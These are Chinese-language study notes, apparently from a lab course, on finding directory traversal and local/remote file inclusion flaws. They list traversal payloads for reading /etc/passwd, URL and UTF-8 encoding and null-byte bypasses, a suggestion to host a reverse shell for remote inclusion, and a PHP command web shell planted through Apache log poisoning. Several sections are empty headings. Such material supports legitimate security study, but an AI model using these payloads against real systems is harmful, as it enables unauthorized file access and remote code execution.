手動漏洞挖掘
漏洞類型
#Directory traversal 目錄遍歷【本台機器操作系統上文件進行讀取】
使用者可以通過瀏覽器/URL地址或者參數變量內容,可以讀取web根目錄【默認為:/var/www/】之外的其他操作系統文件(如:/etc/passwd/)。形成根源:目錄權限限制不嚴格
#File include文件包含【1、include本地文件包含LFI;2、遠程系統文件包含RFI(可傳入木馬)】
通常為如include函數,可以將web根目錄以外的目錄包含進來。根源:include函數對輸入變量限制不嚴
#此兩種漏洞類型的利用方法和實現效果完全相同。
注:kali中默認集成一些攻擊向量字典,/usr/share/wfuzz/wordlist/vulns
##################################################################
默認情況下, metasploitable只有文件包含漏洞,沒用遠程文件包含漏洞
#修改metasploitable配置文件
sudo vi /etc/php5/cgi/php.ini
/allow_url 搜索
sudo /etc/init.d/apache2 restart 重啟apache服務
##########################################################################
漏洞利用
首先,觀察特點、特征等【如:?page=a.php ?home=b.html ?file=content】;然后是表單或者URL地址
經典測試方法
/etc/passwd/ 一個普通用戶也可以讀取的文件,常用於測試
1、?file=../../../../etc/password
解析:無論是windows系統還是linux,都有兩個特殊目錄
. 表示當前目錄
../ 表示當前目錄的父目錄(上一級目錄)
“../” 越多越好,是因為可以此跳轉到根目錄
#也可以直接使用絕對路徑?page=/etc/passwd,但是目錄遍歷漏洞不使用,需使用“../”
2、?page=file:///etc/passwd【文件系統訪問,file后面要求是絕對路徑】/etc/passwd
3、?home=main.cgi【源碼內容/配置信息等】
4、?page=http://www.a.com/1.php(包含其他網頁文件)【遠程文件包含】
可自己做一個web server,在上面放置一個反彈shell
?page=http://1.1.1.1/../../../../dir/file.txt
編碼繞過字符過濾
當提示:找不到***文件,則應該可以判斷有過濾機制
在php5.3之前,存在這種繞過限制
“.” “%00”(通俗有效,表示控制符)【在php語言格式,當遇到%00,則忽略其后面的內容】
使用多種編碼嘗試【每個字符都可以做編碼嘗試,通常來說,128以下的ASCII碼都不會被過濾】例如:?flie=a.doc%00.php
特殊字符:"." "/" #英文字符肯定不會被過濾
######################################################################
#不同操作系統的路徑特征字符
#類UNIX系統
根目錄:/
目錄層級分隔符:/
#windows系統
######################################################################C:\
\或/
編碼
最常用:URL編碼【若一層編碼不足以繞過,可使用雙層或多層URL編碼,前提:密文能被服務器解碼】
目的:目標服務器能正常地對編碼進行解碼,並且能查看想查看的內容,同時能夠繞過
%2e%2e%2f 解碼 ../
%2e%2e%5c 解碼 ..\
%252e%252e%255c 解碼 ..\ 【雙層編碼:特殊字符%被編碼為%25】
Unicode/UTF-8 【非英文字符編碼】
..%c0%af 解碼 ../
..%u2216
..%c1%9c 解碼 ..\
#可使用在線工具
######################################################################################
其他系統路徑可能使用到的字符
• file.txt...
• file.txt<spaces> #空格
• file.txt” ””
• file.txt<<<>>><
• ./././file.txt
• nonexistant/../file.txt #輸入一個不存在的目錄【很多操作系統已經過濾】
UNC路徑【windows系統文件共享】
• \\1.1.1.1\path\to\file.txt
注:可提前將常見的字符單個編碼,在兩兩或任意組合,形成一個字典文件,利用burpsuite中的intruder進行攻擊可提高效率
######################################################################################
特例:無法從URL中查看任何跡象,其位於http請求頭中的cookie
代碼:
攻擊:【注入位置為cookie信息】
結果:
注:任何變量都要進行驗證
##########################################################################################
實例演示
本地文件包含LFI
查看文件
代碼執行【特殊情況下:通過服務器的訪問日志,實現代碼注入】
<?php echo shell_exec($_GET['cmd']);?>
Apache access.log 【前提:其他用戶對該文件有讀取權限】
然后在瀏覽器中訪問該文件
?page=/var/log/apache2/access.log
#############################################################################
注:Linux系統中,當你對一個文件賦予了權限的同時,要保證其層級目錄也被賦予的相同的權限
#############################################################################
遠程文件包含RFI【相對本地包含,機率較低】
驗證:
危害:
低等級
中等級
繞過思路【只過濾一次】
1、編碼
2、混插字符
高等級限制